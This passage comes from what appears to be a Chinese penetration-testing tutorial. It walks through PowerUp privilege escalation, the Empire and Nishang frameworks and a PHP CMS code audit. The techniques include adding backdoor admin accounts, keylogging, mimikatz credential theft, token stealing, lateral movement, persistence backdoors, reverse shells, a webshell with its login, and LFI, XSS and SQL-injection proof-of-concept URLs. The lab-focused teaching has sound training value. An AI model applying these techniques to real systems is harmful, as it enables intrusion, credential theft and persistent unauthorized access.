PSC:>Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号

PSC:>Write-ServiceBinary-ServiceName VulnSVC -UserName backdoor -Password Password123! # 指定添加用户,用户密码以及添加的用户组

PSC:> Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." # 自定义执行命令

20. Install-ServiceBinary 通过Write-ServiceBinary写一个C#的服务用来添加用户。

执行方式:

PSC:> Install-ServiceBinary -ServiceName DHCP

PSC:> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn"

PSC:>Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123!

PSC:> Install-ServiceBinary -ServiceName VulnSVC -Command "net ..."

Write-ServiceBinary与Install-ServiceBinary不同的是前者生成可执行文件,后者直接安装服务。

6.2.4PowerUP攻击模块实战演练

很多PowerUp模块不能一一演示,只针对性介绍几个常用模块的实战应用。

实战一

首先我们安装一个存在漏洞的服务环境:

https://www.exploit-db.com/apps/4ebfe36538da7b518c2221e1abd8dcfc-pspro_50_3310.exe

安装好漏洞环境后,我们建一个普通用户:net user powerup 123456 /add

然后登录到这个新建的普通用户

我们可以把PowerUp脚本上传到目标服务器,或是远程内存加载

这里远程加载如下:

然后调用Invoke-AllChecks

先介绍下Unquoted Service Paths

“包含空格但没有引号的服务路径”,利用windows解析文件路径的特性,如果一个服务的可执行文件路径设置不当,攻击者可构造对应的可执行文件,从而利用提权,PowerUp的相关模块可以帮助我们完成提权。

漏洞原理

这里假设有一个服务路径 C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe

带引号:"C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe"会被看成一个完整的服务路径,故不会产生漏洞。

不带引号时:我们认为的服务路径是C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe,但是由于没有双引号的包裹,Windows会认为C:\Program空格后面的为Program这个程序的参数来进行启动服务。这样攻击者就可以命名一个为Program.exe的后门文件放在c盘下,进而等待含漏洞服务路径的启动或重启导致后门文件的执行。

根据前面调用Invoke-AllChecks,返回的结果存在包含空格但没有引号的服务路径

C:\Program Files (x86)\Photodex\ProShow Producer\ScsiAccess.exe

这时需要检测目录是否有写权限

C:\ 普通用户目录默认是不让写的

C:\Program Files (x86)\Photodex\

可以使用cacls或icacls,可以看到当前用户不可写

测试C:\Program Files (x86)\Photodex\ProShow Producer\发现可写

直接Write-ServiceBinary 来尝试提权,如下提示进程在使用

使用move把文件重命名,然后重新执行写入,这时生成的ScsiAccess.exe为利用程序

当服务器重启后,提权成功,系统会新增一个管理员权限用户john/Password123!

提权成功后我们把所有状态恢复到zui初的状态

实战二

AlwaysInstallElevated提权

该漏洞产生的原因是用户在策略编辑器中开启了Windows Installer特权安装功能:

设置漏洞环境

管理员用户在“运行”设置框中输入“gpedit.msc”,打开组策略编辑器。

组策略——计算机配置——管理模板——Windows组件——Windows Installer——永远以高特权进行安装:选择启用。

设置完毕之后,会在两个注册表如下位置自动创建键值为”1″。

[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001

防御的话,就是把上述启用的选项关闭

在这次中用到Get-RegistryAlwaysInstallElevated和Write-UserAddMSI两个模块

首先先加载PowerUp,使用Get-RegistryAlwaysInstallElevated检测相关注册表是否被设置

显示“true”则表示AlwaysInstallElevated注册表已经被设置:这就意味着MSI文件是以System权限运行的。

接着运行Write-UserAddMSI,会在当前目录下生成一个UserAdd.msi文件

以普通用户权限运行UserAdd.msi添加管理员账户 成功添加backdoor管理员权限账户

6.3.1Empire简介

Empire是一款针对Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架工具,具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powshell.exe就可运行Powershell代理的功能,还可以快速在后期部署漏洞利用模块,其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等,使用能够躲避内网检测和大部分安全防护工具的查杀,简单来说就有点类似Metasploit,是一个基于PowerShell的远程控制木马。

Empire的全部功能可以参考其官方网站:

http://www.powershellempire.com/

Empire安装

Empire运行在linux平台上

官方下载地址,不过很久没有更新,需要Python 2.6/2.7环境

https://github.com/EmpireProject/Empire

其他分支目前还有人在更新维护,需要Python 3.x环境

https://github.com/BC-SECURITY/Empire

可以选择其中一个安装使用,这里我们还是以官方这个来安装使用

这里使用的系统是Kali,首先通过git命令下载程序目录。

git clone https://github.com/EmpireProject/Empire.git

然后安装Empire的依赖,命令如下

cd Empire

cd setup

pip install -r requirements.txt(若没有安装pip库,则需要先通过apt-get install pip进行安装)

./install.sh

在安装完依赖以后,返回上一级文件,启动Empire工具,命令如下:

cd ..

./empire

​ 若启动失败,则可能是因为依赖未完全安装好,只需要手动通过pip install xxx安装未安装好的依赖即可。

启动时如果遇到如下报错

可以将urllib3版本降级

pip install urllib3==1.22

重新设定

bash reset.sh

打开Empire后,可以看到版本为2.5,280模块(modules),0个监听(listeners),0个会话(agents)

基本使用会涉及如下内容:

1.帮助文档

2.设置监听

3.生成木马

4.连接主机和基本使用

5.信息收集

6.权限提升

帮助文档

​运行Empire后,输入help命令查看具体的使用帮助。

6.3.3设置监听

Empire和Metasploit的使用原理一样,都是需要先设置一个监听,接着生成一个木马,然后在目标主机上运行该木马,我们的监听就会连接上反弹回来的会话。

设置监听步骤如下:

listeners #进入监听线程界面

uselistener #设置监听模式

info #查看具体参数设置

set #设置相应参数

execute #开始监听

输入Listeners命令进入监听界面,按TAB键可以补全命令,按两次TAB键或者help可以显示可以利用的模块

输入uselistener来设置采用何种监听模式,双击TAB可以看到有以下可以使用的模式。

这里采用http监听模式,输入uselistener http。

然后输入info命令查看具体参数设置。其中Require为True的值都需要被设置。

通过set配置参数,并提供execeute执行,需要注意的是Empire不同于Metasploit,Empire命令是区分大小写的

通过back返回上一级,使用listeners或者list可以查看所设置的监听器

6.3.4生成木马

输入usestager后 空格加TAB键 查看可以设置的木马模式

木马就类似Metasploit中的payload,其中multi为通用模块,osx是Mac操作系统的模块,剩下的是Windows的模块。

我们以 windows/launcher_bat为例,给大家说下过程,其他的使用都类似

要使用launcher_bat,首先输入usestager windows/launcher_bat,然后输入info命令查看详细参数

通过set配置参数,我们需要设置一个 Listener 参数,即监听的名字(前面我们给监听起得一个名字test1),通过execeute执行,

文件会生成到 tmp 目录下,如下所示

在目标主机上运行生成的launcher.bat,输入 agents 可以查看已经获得的会话

我们再介绍另一种生成木马方式:launcher

如果只需要简单的powershell 代码,在设置完相应的参数后,可直接在监听器(listeners)中输入命令 launcher <language> <Listener Name> 生成base64编码的代码

然后复制生成的payload 在目标机器上执行

可以看到有会话生成,输入 agents 可以查看已经获得的会话

6.3.5连接主机和基本使用

​在目标主机反弹成功以后,可以通过agents命令列出当前已连接的主机,这里要注意如果有带有(*)的是已提权成功的主机。

然后使用interact命令连接主机,可以使用Tab键补全主机的名称,连接成功以后可以通过rename修改会话名称

可以通过help查看可以使用的命令

输入help agentcmds可以查看可供使用的常用命令

可以通过pwd查看当前目录

upload可以上传文件,通过cat查看文件内容

使用某些CMD命令时,要使用“shell+命令的形式” ,如下

6.3.6信息收集

​Empire主要用于后渗透。所以信息收集是比较常用的一个模块,可以使用searchmodule命令搜索需要使用的模块,这里通过键如usemodule collection然后按Tab查看完整的列表

下面演示几个常用模块

1.屏幕截图

​输入以下命令,然后执行即可

2.键盘记录

​输入以下命令usemodule collection/keylogger,通过info可以查看详细信息,execute执行

可以通过jobs kill JOB_name停止键盘记录

3.ARP扫描

Empire也内置了ARP扫描模块,输入以下命令即可使用该模块,这里要设置Range参数

4.查找域管登陆服务器IP

在内网渗透中,要想拿到内网中某台机器的域管权限,方法之一就是找到域管登录的机器,然后横向渗透进去,窃取域管权限,从而拿下整个域,以下这个模块就是用来查找域管登录的机器的。

使用模块usemodule situational_awareness/network/powerview/user_hunter

6.3.7权限提升

提权,顾名思义就是提高自己在服务器中的权限,就比如在Windows中,你本身登陆的用户是Guest,通过提权后,就会变成超级管理员,拥有了管理Windows的所有权限。以下是常见几种提权方式:

1.Bypass UAC

UAC介绍

UAC(UserAccount Control,用户账户控制)简言之就是在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。

为了远程执行目标的exe或者bat可执行文件绕过此安全机制,以此叫BypassUAC(不进行弹窗直接运行执行文件)

输入以下命令,设置Listener参数,运行execute,会发现成功上线了一个新的反弹

返回agents,通过list可以看到有一个新的会话,并且带有*,说明提权成功。

2.PowerUp

Empire内置了PowerUp的部分工具,用于系统提权,主要有Windows错误系统配置漏洞、Windows Services漏洞、AlwaysInstallElevated漏洞等8种提权方式,输入以下命令,然后通过tab键查看完整列表

查找系统中的漏洞,和PowerSploit下PowerUp中的Invoke-AllChecks模块一样,该模块可以执行所有脚本检查系统漏洞

可以看到,我们可以通过BypassUAC进行提权,前面已经见过,这里不再重复。

3.通过溢出漏洞

本地溢出提权首先要有服务器的一个普通用户权限,攻击者通常会向服务器上传本地溢出程序,在服务器端执行,如果系统存在漏洞,那么将溢出Administrator权限。

这里我们使用ms16-032来提权,输入以下命令即可通过溢出漏洞进行提权

6.3.8横向渗透

横向渗透,就是在已经攻占部分内网主机的前提下,利用既有的资源尝试获取更多的凭据、更高的权限,进而达到控制整个内网、拥有zui高权限、发动类似 APT 的目的。

在横向渗透中,zui先得到的主机,以及之后新得到的主机,会成为突破口、跳板。如同一个不断扩大的圆形,获得的主机越多,圆能触及之处越大,让其周遭的「横向」部分由未知成为已知。

1.令牌窃取

我们在获取到服务器权限后,可以使用内置mimikatz获取系统密码,执行完毕后输入creds命令查看Empire列举的密码。如下图所示

从这里发现有域用户曾在此服务器上登录,此时可以窃取域用户身份,然后进行横向移动

首先先来窃取身份,使用命令pth<ID>,这里的ID号就是creds下的CredID号,我们这里来窃取administrator的身份令牌,执行pth 7命令

可以看到进程号为1380,使用steal_token PID命令就窃取了该身份令牌了,如下图所示。

我们先尝试访问域内另一台主机WIN7-X86的“C$”,顺利访问

输入revtoself命令可以将令牌权限恢复到原来的状态

2.会话注入

我们也可以使用usemodule management/psinject模块来进程注入,获取权限,输入info查看参数设置,

设置下Listeners和ProcID这2个参数,这里的ProcID还是之前的CMD的1380,运行后反弹回一个域用户权限shell。

3.Invoke-PsExec

PsExec是我在Metasploit下经常使用的模块,还有pstools工具包当中也有psexec,缺点是该工具基本杀毒软件都能检测到,并会留下日志,而且需要开启admin$ 445端口共享。优点是可以直接返回SYSTEM权限。这里我们要演示的是Empire下的Invoke-Psexec模块。

使用该模块的前提是我们已经获得本地管理员权限,甚至域管理员账户,然后以此来进一步持续渗透整个内网。

我们测试该模块前看下当前agents,只有一个IP为192.168.31.251,机器名为WIN7-64的服务器,

现在使用模块usemodule lateral_movement/invoke_psexec渗透域内另一台机器WIN7-X86,输入info查看设置参数,如下图所示。

这里要设置下机器名和监听,输入下列命令,反弹成功

输入agents命令查看当前agents,多了一个IP为192.168.31.158,机器名为WIN7-X86的服务器

权限维持

攻击者在获取服务器权限后,通常会用一些后门技术来维持服务器权限,服务器一旦被植入后门,攻击者如入无人之境。服务器重启后,我们的后门程序仍能触发继续运行。这里讲一些window服务端常见的后门技术。

1.权限持久性劫持shift后门

shitf后门,其实就是使用了windows系统的粘滞键功能,当连按5次shift键的时候就会启动粘滞键程序。然后后门程序替换掉这个程序,然后通过按5次就来启动后门。

输入命令usemodule lateral_movement/invoke_wmi_debuggerinfo模块,可以输入info查看参数,set设置相关参数

运行后,在目标主机远程登录窗口按5次shift即可触发后门,有一个黑框一闪而过,

这时看我们的Empire已经有反弹代理上线

2.注册表注入后门

使用usemodule persistence/userland/registry模块,运行后会在目标主机启动项添加一个命令,可以输入info查看信息

按如下命令设置其中几个参数,如下图所示。

重启目标主机,用户登录系统后,会有反弹会话生成

6.3.10Empire反弹回Metasploit

在实际渗透中,当拿到webshell上传的Metasploit客户端无法绕过目标主机的杀软时,可以使用PowerShell来绕过,也可以执行Empire的Payload来绕过,成功之后再用Empire的模块将其反弹回Metasploit。

首先在Metasploit我们使用multi/script/web_delivery模块

使用usemodule code_execution/invoke_metasploitpayload模块,输入info看下参数

这里我们只需修改1个参数URL,

修改为前面Metasploit生成的Using URL: http://192.168.199.129:8088/qJaa5sHBuNst5y

按下列命令设置完毕,然后执行

Metasploit收到Empire反弹回来的shell

6.4.1Nishang简介

Nishang是一款基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种Payload,包括下载和执行、键盘记录、DNS、延时命令等脚本,被广泛应用于渗透测试的各个阶段。

下载地址如下:https://github.com/samratashok/nishang

下载完成后我们可以看到以下工具里面都包括一些什么功能目录

Nishang在PowerShell 3.0以上环境中可正常使用,在win7上PowerShell默认版本是2.0,不太支持,可以在win10中测试或者升级win7的PowerShell 的版本。

使用方式和PowerSploit一样,可以搭建一个WEB服务器,把Nishang脚本放在WEB目录,然后远程去加载调用脚本

为了方便我们直接把Nishang上传到本地服务器,本机加载。首先以管理员启动powershell

导入框架,并查看有哪些模块

6.4.2Nishang模块攻击实战

开始对部分模块的功能进行讲解:

1.Check-VM

它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)来识别,如下可看到是一台虚拟机

2. Invoke-CredentialsPhish

这个脚本用来欺骗用户,让用户输入密码,在不输入正确密码关闭不了对话框,只能强子结束进程

Invoke-CredentialsPhish

输入服务器正确账号和密码后

3. Get-PassHashes

在Administrator的权限下,可以dump出密码哈希值。这个脚本来自于msf中powerdump,但做出了修改,使得我们不再需要System权限就可以dump了

4. Invoke-Mimikatz

需要管理员权限,抓取密码

5. Show-TargetScreen

使用MJPEG传输目标机器的远程桌面的实时画面,在本机我们可以使用NC或者Powercat来进行监听。在本地使用支持MJPEG的浏览器(如:Firefox)访问本机对应监听端口,即可在浏览器上面看到远端传输回来的实时画面。

Victim(win7):Show-TargetScreen -IPAddres 192.168.199.129 -Port 5773 -Reverse

Attacker(kali):netcat -nlvp 5773 | netcat -nlvp 8888 //这里我使用的neetcat

6. Get-PassHints

获取用户的密码提示信息,需要有Administrator权限来读取sam hive

有的时候可以根据提示信息来生成密码文件,大大提高爆破的成功率。还有的人会将明文密码记录在这个提示信息中

6.4.3PowerShell交互式Shell

Nishang可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型Shell

一、基于TCP协议的Powershell交互式Shell

Invoke-PowerShellTcp是PowerShell交互式正向连接或反向连接shell,基于TCP协议。

参数介绍:

-IPAddress <String> 选择-Reverse选项时是需要连接到的IP地址

-Port <Int32> 选择-Reverse选项时是需要连接到的端口,选择-Bind选项时是需要监听的端口。

-Reverse [<SwitchParameter>] 反向连接

-Bind [<SwitchParameter>] 正向连接

使用实例:

1.正向连接

第一步:在目标机运行脚本,监听端口88

第二步:使用nc连接到目标机端口88

2. 反向连接

第一步:使用nc监听本地端口88(注意必须先监听,不然在目标机上执行脚本会出错)

第二步:在目标机上运行脚本来反弹shell

第三步:观察攻击机,可以发现成功反弹shell

二、基于UDP协议的PowerShell交互式Shell

Invoke-PowerShellUdpPowershell交互式正向连接或反向连接shell,基于UDP协议。

使用实例:

1.正向连接

第一步:在目标机运行脚本,监听端口66

第二步:使用nc连接到目标机端口66

2. 反向连接

第一步:使用nc监听本地端口66

第二步:在目标机上运行脚本来反弹shell

第三步:观察攻击机,可以发现成功反弹shell

三、基于HTTP和HTTPS协议的PowerShell交互式Shell

Invoke-PoshRatHttp and Invoke-PoshRatHttps是Powershell交互式反向连接shell,基于HTTP协议和HTTPS协议。

这里需要说明以下,需要攻击者以管理员身份运行

第一步:首先我们需要在攻击机上使用脚本,需要的信息有攻击机IP,要监听的端口。运行完脚本,就等着目标机反弹Shell了。

第二步:在目标机上运行下列命令,反弹Shell

第三步:观察攻击机,可以发现成功反弹shell

6.4.5权限提升

权限提升是指利用操作系统或软件应用程序中的漏洞、设计缺陷或配置疏忽,让应用或用户获得对受保护资源的高级访问权限。

这里我们主要讲通过Bypass UAC来提权

UAC(User Account Control,用户账号控制)是微软为了提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。在Windows Vista及以后的版本中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁时造成的损害zui小。在权限不够的情况下,访问系统磁盘的根目录、Windows目录,以及读写系统登录数据库等操作,都需要经常UAC(User Account Control,用户账号控制)的认证。

需要UAC的授权才能进行的操作列表如下:

配置Windows Update

增加、删除账户

更改账户类型

更改UAC的设置

安装ActiveX

安装、卸载程序

安装设备驱动程序

将文件移动/复制到Program Files或Windows目录下

查看其它用户的文件夹

UAC有如下四种设置要求:

始终通知:这是zui严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户

仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度

从不提示:当用户为系统管理员时,所有程序都会以zui高权限运行

如何Bypass UAC

我们可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypass uac的效果。

Invoke-PsUACme 提供了一些绕过UAC的方式。这个模块用的是UACME项目的DLL来Bypass UAC。

使用Nishang中的Invoke-PsUACme.ps1我们来尝试提权

Admin用户,在没有使用以管理员身份运行时

我们直接运行Invoke-PsUACme来绕过UAC后

WebShell后门

存放于nishang Antak-WebShell目录下,就是一个ASPX的大马,但是命令行是PowerShell,比单纯的cmd强大很多,功能比较齐全。

将Nishang的antak.aspx文件,放在IIS网站中

然后访问网站中的antak.aspx文件(出现登陆页面)

Nishang的antak用户名:Disclaimer

Nishang的antak密码:ForLegitUseOnly

登陆成功,进入欢迎页面

输入help,可以得到帮助信息

输入ls,可以查看网站的目录结构

点击download,可以下载网站的重要文件

点击upload the file,可以上传木马文件

7.1代码审计

代码审计,是对应用程序源代码进行系统性检查的工作。它的目的是为了找到并且修复应用程序在开发阶段存在的一些漏洞或者程序逻辑错误,避免程序漏洞被非法利用给企业带来不必要的风险。

代码审计不是简单的检查代码,审计代码的原因是确保代码能安全的做到对信息和资源进行足够的保护,所以熟悉整个应用程序的业务流程对于控制潜在的风险是非常重要的。

代码审计这是一个需要多方面技能的技术,也是需要一定的知识储备。我们需要掌握编程,安全工具的使用、漏洞原理、漏洞的修复方式、函数的缺陷等等。

代码审计入门基础:html/js基础语法、PHP基础语法 ,面向对象思想,PHP小项目开发(Blog、注册登录、表单、文件上传、留言板等),Web漏洞挖掘及利用,Web安全工具基本使用(burpsuite、sqlmap等),代码审计工具(seay审计系统、zend studio+xdebug等)

代码审计两种基本方式:

通读全文源码:通读全文发作为一种zui麻烦的方法也是zui全面的审计方法。特别是针对大型程序,源码成千上万行。当然了解整个Web应用的业务逻辑,才能挖掘到更多更有价值的漏洞。

功能点审计:根据漏洞对应发生函数进行功能行审计,常会用到逆向溯源数据流方法进行审计。

代码审计两种基本方法:

正向追踪数据流:跟踪用户输入参数 -> 来到代码逻辑 -> zui后审计代码逻辑缺陷 -> 尝试构造payload

逆向溯源数据流:字符串搜索指定操作函数 -> 跟踪函数可控参数 -> 审计代码逻辑缺陷 -> 尝试构造payload

从开发者的位置去思考问题,可以快速定位问题。学习面向对象编程以及面向过程编程,编写一些项目提升对代码的理解能力,再是对各种漏洞可以独立挖掘利用并能理解漏洞的危害,这里我们主要针对PHP源码做审计。

我们从三个层次开始我们的源码审计思路

1.确定要审计的源码是什么语言

2.确定该源码是单入口还是多入口

3.确定该语言的各种漏洞诞生的函数

PHP源码部署环境:Phpstudy

集成开发环境:Zend Studio/Phpstorm

数据库管理工具:Navicat for MySQL

MySQL实时监控工具:MySQLMonitor

文本编辑工具:Sublime_Text3

代码审计辅助工具:Seay源代码审计系统、Rips

代码审计辅助安全工具:渗透版火狐、BurpSuite、Sqlmap

7.2危险函数及关键字

通常做代码审计都是检查敏感函数的参数,然后回溯变量,判断变量是否可控并且没有经过严格的过滤,这是一个逆向追踪的过程。

这里列出一些特定漏洞对应的比较容易出问题的函数或关键字,提高审计效率。

select

update

insert into

delete

注:此处非函数,主要找常用的SQL语句

include() 向上包含,向下包含,如果包含出错继续向下执行

include_once() 同上,只进行包含一次

require() 向上包含,向下包含,如果包含出错不下向下执行

require_once() 同上,只进行包含一次

system()

exec()

passthru()

shell_exec()

print

print_r die

echo var_dump

printf var_export

move_uploaded_file()

fopen()

readfile()

file_get_contents()

unlink()

unserialize()

7.3代码审计工具

使用自动化工具辅助人工漏洞挖掘,可以显著提高审计工作的效率。学会利用自动化代码审计工具,是每一个代码审计人员必备的能力。

我们这里介绍两款PHP代码审计工具

RIPS是一个用 PHP 编写的源代码分析工具,它使用了静态分析技术,能够自动化地挖掘 PHP 源代码潜在的安全漏洞。渗透测试人员可以直接容易的审阅分析结果,而不用审阅整个程序代码。由于静态源代码分析的限制,漏洞是否真正存在,仍然需要代码审阅者确认。RIPS 能够检测 XSS, SQL 注入, 文件泄露, Header Injection 漏洞等。

RIPS官网:http://rips-scanner.sourceforge.net/

下载完之后将该压缩包解压到本地网站的根目录下,然后在浏览器 localhost/Rips(你解压的文件名字)/就可以进去了:

subdirs:如果勾选上这个选项,会扫描所有子目录,否则只扫描一级目录,缺省为勾选。

verbosity level:选择扫描结果的详细程度,缺省为1(建议就使用1)。

vuln type:选择需要扫描的漏洞类型。支持命令注入、代码执行、SQL注入等十余种漏洞类型,缺省为全部扫描。

code style:选择扫描结果的显示风格(支持9种语法高亮)。

/regex/:使用正则表达式过滤结果。

path/file: 要扫描的目录。

scan: 开始扫描。

在path/file中输入需要扫描源码的目录, 其他使用默认设置,点击scan:

我们可以看到RIPS的功能还是很强大的,将目录中所有的漏洞文件找出

对扫描出每个漏洞文件,点击左上角的按钮可以查看代码的详细情况

左下角的问号是解释,它会详细的解释这是什么类型的漏洞,并且有漏洞补丁方案

右下角的红色按钮,可以根据漏洞生成漏洞利用代码

到这里我们可以看到该工具非常强大,可以帮助我们提高审计效率

Seay源代码审计系统是由国人开发的一款基于白盒测试的代码审计工具,具有自动代码审计功能。支持一件审计,代码调试,函数定位,自定义审计规则等强大功能。可以简化人工审计的繁琐流程,使代码审计更加智能简洁。

目前作者官网已不能访问,可以从如下地址下载:https://github.com/f1tz/cnseay

程序使用C# 编写,须要.NET2.0以上版本环境才能运行。

直接运行“Seay源代码审计系统.exe”即可安装,安装完直接运行,

点击“新建项目”按钮新建一个审计项目。选择需要扫描的源码所在目录。

打开一个审计项目后,可以看到审计系统左侧列出了该项目的全部源代码文件,点击“自动审计”按钮进入审计操作

点击“自动审计”操作下的“开始”按钮,正式进入审计过程并等待审计扫描完成。

当Seay源代码审计系统底部提示“扫描完成”时,点击“生成报告”生成本次审计报告并保存报告生成的html文件。

通常我们可以直接在审计工具里双击漏洞所在的行,跳转到相应文件审计。

会高亮显示漏洞所在的行,后面就是需要人工来判断漏洞是否确实存在。

7.4测试环境搭建

以熊海CMS1.0为例我们来进行实例审计,CMS下载地址:https://zdown.chinaz.com/201503/xhcms_v1.0.rar

为了复现我们审计出的漏洞,首先搭建熊海CMS站点测试环境。

此CMS运行需要的环境:php+mysql+apache,注意这里php版本需要5.x

这里使用phpstudy 2018来搭建,把压解的熊海CMS源码,复制到WWW目录下。

在切换版本里选择php-5.2.17+Apache

开启apache和mysql服务。

通过自带的MySQL管理器,这里使用MySQL-Front

登录进mysql,新建一个数据库xhcms

访问如下链接来安装,确认提交后可以看到安装成功

http://127.0.0.1/xhcms/install/

7.5 CMS代码审计实战分析

开始审计

先查看一下网站的文件目录结构,了解一下大概文件夹的功能作用。

一般文件夹的英文名字就是这个文件夹实现的功能

admin --管理后台文件夹

css --存放css的文件夹

files --存放页面的文件夹

images --存放图片的文件夹

inc --存放网站配置文件的文件夹

install --网站进行安装的文件夹

seacmseditor --编辑器文件夹

template --模板文件夹

upload --上传功能文件夹

index.php --网站入口(首页)

入口文件:index.php、main.php文件一般是整个程序的入口,从中可以知道:

程序的架构;

运行流程;

包含哪些配置文件;

包含哪些过滤文件和安全过滤文件;

了解程序的业务逻辑。

配置文件:一般类似config.php等文件,保存一些数据库相关信息,程序的一些信息。

先看数据库编码,如果是GBK可能存在宽字节注入。

若变量的值用双引号,则可能存在双引号解析代码执行的问题。

此CMS的配置文件为:inc/conn.php

过滤功能:通过详细读公共函数文件和安全过滤文件等文件,清晰掌握:

用户输入的数据,哪些被过滤,哪些无过滤如何过滤。在哪里被过滤了。

如何过滤,过滤的方式是替换还是正则,能否绕过过滤的数据。

这里我们首先看下 入口文件、配置文件、过滤功能。此程序比较简单,没有安全过滤文件

首先就从网站入口index.php跟进,发现是一个单入口模式:

在这里我们可以得知,它是先接收一个r参数然后用addslashes函数进行过滤。然后判断文件名,如果为空的话,则包含files/index.php,反之赋值就会把传递进来的文件名赋值给 $action进行拼接。这样的话,我们在这里就很清楚的知道,这里就是一个很经典的文件包含漏洞,r参数只是经过了addslashes函数进行过滤(几乎相当于没

过滤)后被incluede包含。但因为在包含时限定了.php后缀,本地包含时需要截断。利用起来存在一定限制。

"单一入口模式",这个是什么意思呢?简单来说就是用一个文件处理所有的HTTP请求,例如不管是内容列表页,用户登录页还是内容详细页,都是通过从浏览器访问 index.php 文件来进行处理的,这里这个 index.php 文件就是这个应用程序的单一入口。

在分析PHP代码的时候,遇到不懂的函数要随手查PHP手册去了解相关用法和解释。

第三行 error_reporting(0);表示关闭所有PHP错误报告。

第四行 r参数通过GET请求经过 addslashes函数处理后再传递给$file变量。查阅PHP手册可以知道,单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)经过这个 addslashes函数后会在他们前面加上反斜线。通常这个函数用于防止SQl注入。

第五 六行通过三元运算符判断文件名是否为空,为空则载入files/index.php文件,反之赋值就会把传递进来的文件名赋值给 $action,"."在PHP里是拼接的作用,因此就是把第四行传递的变量 $file(到这里是 $action,因为上一行 $file赋值给了 $action)也就是传递的文件名字,拼接前面的目录”files/”以及后面的".php"这个后缀,zui终载入拼接后的相应文件。

那么这里漏洞利用其实就两个问题:跳出限定的目录和截断拼接的后缀。

介绍文件包含截断的2种方法

第一种是使用%00截断,但是php>5.3以后就不能使用了,开启了GPC的情况下也是不能使用的,因为此CMS这里用了addslashes函数同样不能使用。

第二种是点号截断

1.Windows下在文件名字后面加 “.” 不影响文件。2.Windows的文件名的全路径(Fully Qualified File Name)的zui大长度为260字节。但是这个是有利用条件的,在测试过程中, 发现必须同时满足 php版本=5.2.17、Virtual Directory Support=enable,这个在我们phpstudy2018搭建的环境里满足。

此CMS后台存在上传功能可以上传图片,通过上传写有php代码的图片文件,通过包含漏洞可以使我们的代码运行。

这里为了方便直接在此CMS根目录的upload\image\20150321目录,新建一个内容为<?php echo phpinfo();?> 的test.jpg文件,模拟上传的图片文件。

另外有一点,就是文件包含这里,不论你文件的后缀是什么,他包含的时候是只管你文件的内容的,因此你不论是弄成文本还是图片,只要里面内容是可以执行的PHP代码,就可以包含执行利用成功,因此这也是文件包含利用的一个要点

下面来构造利用poc利用“../”来跳出限制的“/files”目录,跳到CMS根目录,然后再拼接成../upload/image/20150321/test.jpg

然后我们再利用点号截断来截断代码中.php后缀

zui终poc如下http://127.0.0.1/xhcms/index.php?r=../upload/image/20150321/test.jpg........................................................................................................................................................................................................

点号这里加了200个

通读全文法比较太费时费力,但是zui全面。

zui高效和zui常用的方法还是敏感函数参数检查,这里我们通过前面介绍的审计工具来辅助我们审计工作。

当然审计工具存在着误报和漏报问题,这就需要我们需要不断积累审计知识,不只是依靠工具。

首先用RIPS我们来扫描下,然后对扫出的漏洞进行验证。

我们先验证前台漏洞,后台漏洞的话需要先得到后台权限才能利用。前台漏洞较后台漏洞利用面更广些。

扫出如下文件存在问题 File: /xhcms/files/contact.php

我们进行分析,先看跨站脚本问题

从上面代码里我们看到139行 echo $page 直接输出$page内容,如果$page内容可控,并且没有过滤的话,就存在漏洞

从扫描工具显示的结果中可以看到$page变量来自外界输入,只是用addslashes做了过滤(过滤不全)

前面介绍过,单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)经过这个 addslashes函数后会在他们前面加上反斜线。

构造利用POC,如下如果POC里存在双引号,代码不能执行,会被转义

http://127.0.0.1/xhcms/index.php?r=contact&page=<script>alert("test")</script>

把双引号修改成如下,代码可以成功执行

http://127.0.0.1/xhcms/index.php?r=contact&page=<script>alert(/test/)</script>

扫出如下文件存在问题 File: /xhcms/files/content.php

从上面代码可以看到,第20行$id并没有被单引号包裹

向上追溯看$id可以看到其值来自cid的赋值,cid是可控的,并且只是用了addslashes做过滤,单引号(‘)、双引号(“)、反斜线(\)与 NUL(NULL 字符)经过这个 addslashes函数后会在他们前面加上反斜线。这里是整型注入, addslashes对利用没有影响。

构造利用POC

先使用报错利用代码,获取数据名如下

http://127.0.0.1/xhcms/index.php?r=content&cid=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

使用sqlmap利用获取当前数据库名

python sqlmap.py -u "http://127.0.0.1/xhcms/index.php?r=content&cid=1" -p cid --current-db

业务逻辑漏洞-后台登录绕过

